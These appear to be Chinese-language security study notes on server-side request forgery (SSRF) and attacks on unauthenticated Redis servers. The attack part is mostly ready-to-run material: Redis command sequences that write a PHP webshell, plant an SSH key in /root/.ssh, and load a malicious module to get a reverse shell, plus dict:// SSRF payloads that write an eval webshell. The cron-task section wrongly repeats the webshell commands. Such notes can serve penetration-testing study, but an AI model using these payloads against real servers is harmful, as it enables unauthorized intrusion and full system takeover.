服务器端请求伪造,攻击目标一般是从外网无法访问的内部系统
成因服务器提供,从其他服务器获取资源,但没有对目标地址进行过滤,而大多数web构架中的服务器可以访问内网资源
利用方法- 扫描内网ip,端口,以及主机的存活状况,获取banner(主机信息)
- 进行内网服务
- 攻击内网web服务
- 利用file协议读取数据
社交共享功能:如分享的超链接
转码服务
在线翻译
图片文章的下载,保存
。。。。
相关函数file_get_contents() 将文件或url所指向的文件读入一个字符串 curl_exec() 执行指定的cURL会话 fopen readfile fsockopen相关协议
http协议: 查看主机存活状况 file协议: 在有回显的情况下,使用file协议可以读取数据 dict协议: 泄露软件版本信息,探测端口,操纵内网redis服务 gopher协议: 拦截GET/POST请求包,再构造成符合gopher协议的请求包Redis攻击 补充:redis
非关系型数据库(一维线性)
相同的还有:MongoDB,CouchDB
攻击相关函数:
set:增加key config get dir :读取备份目录 config set dir :设置备份目录 config set dbfilename:设置备份文件名 config get dbfilename:读取备份文件名
redis未授权:
主机没有部署防火墙等,而且redis密码默认没有,导致未授权访问
利用条件:
具有root,或写入权限
linux利用方式:- 写入ssh公钥
- crontab定时任务反弹shell
- 网站根目录写入shell
- redis主从复制getshell
- 写入shell
- 写入启动项
redis未授权写webshell: config set dir /var/www/html/ config set dbfilename shell.php set 1 "nnnnnn" save 写计划任务: config set dir /var/www/html/ config set dbfilename shell.php set 1 "nnnnnn" save 写ssh公钥: #本地生成公钥私对 ssh-keygen -t rsa #上传公钥 config set dir /root/.ssh/ config set dbfilename authorized_keys set x "rsa" save 主从复制 本地编译好外部扩展即so文件 把so文件转码存入本地redis数据库 到目标服务器上设置主从关系,主服务器指定我们的本地redisslaveof ip port 待同步后,设置备份路径和备份文件名(xx.so) 然后加载备份数据库module load ./exp.so 然后就可以通过redis执行命令反弹shell了SSRF+redis
利用dict协议:
dict://127.0.0.1:6379/info dict://127.0.0.1:6379/config:set:dir:/var/www/html/ dict://127.0.0.1:6379/config:set:dbfilename:shell.php dict://127.0.0.1:6379/set:1:"x3Cx3Fphp%20@eval($_POST['Wf']);%20x3fx3e" dict://127.0.0.1:6379/saveSSRF+gopher
利用工具:
https://github.com/tarunkant/Gopherus



